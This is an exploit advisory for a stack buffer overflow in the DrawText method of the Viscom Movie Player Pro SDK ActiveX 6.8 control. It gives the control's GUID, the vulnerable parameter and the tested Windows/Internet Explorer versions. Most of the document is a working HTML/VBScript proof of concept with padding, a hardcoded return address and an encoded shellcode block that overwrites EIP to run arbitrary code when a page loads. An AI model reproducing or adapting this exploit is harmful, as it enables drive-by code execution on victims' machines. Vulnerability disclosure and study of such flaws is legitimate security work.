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-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ----------------------------------------------------------------------------- Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow url: http://www.viscomsoft.com/ Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.net/ File name: MoviePlayer.ocx Version: 6.8.0.0 GUID: {F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E} ProgID: MOVIEPLAYER.MoviePlayerCtrl.1 Description: MoviePlayer Pro ActiveX Safety report: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller, data IPStorage Safe: Safe for untrusted: caller, data Vuln. Method: "DrawText" Vuln. Param.: "strFontName" Description: A stack-based buffer overflow occurs when you pass to "strFontName" parameter a string overly long than 24 bytes which leads into EIP overwrite allowing the execution of arbitrary code in the context of the logged on user. This happens because an inadequate space is stored into the buffer intended to receive the font name. This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on: Windows XP Professional SP3 with Internet Explorer 8 Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit) - - ----------------------------------------------------------------------------- <html> <object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object> <script language = 'vbscript'> buf_1 = String(32, "A") pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro buf_2 = String(416, "A") sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _ unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _ unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _ unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _ unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _ unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _ unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _ unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _ unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _ unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _ unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _ unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _ unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _ unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _ unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _ unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _ unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _ unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a") buf_3 = String(4899, "A") egg = buf_1 & pwEIP & buf_2 & sCode & buf_3 test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1 </script> </html> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) iQIcBAEBAgAGBQJLS4lVAAoJEGLxkZuDw5+sRBMP/igkxar2tQO6mQjDwkLSyK49 TpJhOOLrXvq5kOIy2zVSUfqGY3Vb1RMPAWJrK0ILbfyB5cyHnlZ48aUj9g2cwmAE 9hxGSCQoLy35vIYT9DKtpBPYiUAzXLQ4CqPloHOAUXtwP+C8DL6GZixL6BcD0oeo zX1dUw4BthIvizR0IIrUcIDeZN0hzDsteu1CLrII7eOM/L03z2IU5FnY7R0pkIJX 5jZWQfcgURhPVT3/5LzG6XzCawdlX5cw0fpjeEiCaVZWhkH6krWA4SSKgWibdkx6 pwWrhaGWuQOHOaM0XJ+gHqodljxxdC7bzoESnaAvwAsTai7ipM6dBoRhgSsdBNas riA8puRkiZjgyZVqCfKFZWpxxaxlDx79peFGd/WTX7RDaay4ZS1TAnYrwLxVYdh3 2OIajXIvD3Bxmb91JoqqMGKzAQ4BUuvVgo9/ef+GlPhcsr8kpmjL48/IS4htLwJ9 AEV6NmRcD465JfVHTfJb79aciPgBjQ8+IZMOLClP7Q+2OOaW/QuCaXseanD64oMJ kHsgzSpHvLTrQHovagymcDO5okldwH1fu5xj8GhPw2lMJGqKcp7Ld+YPIfnQ1VYj HzZsBCjUMYmjVIrCFLu1wnjqRR/KE68ng3Vz3/XW6WTzxxovgKWGKHd5G9eLWmZ+ Yl9ja6Z57P/kTwhhxmIu =g3VB -----END PGP SIGNATURE----- |
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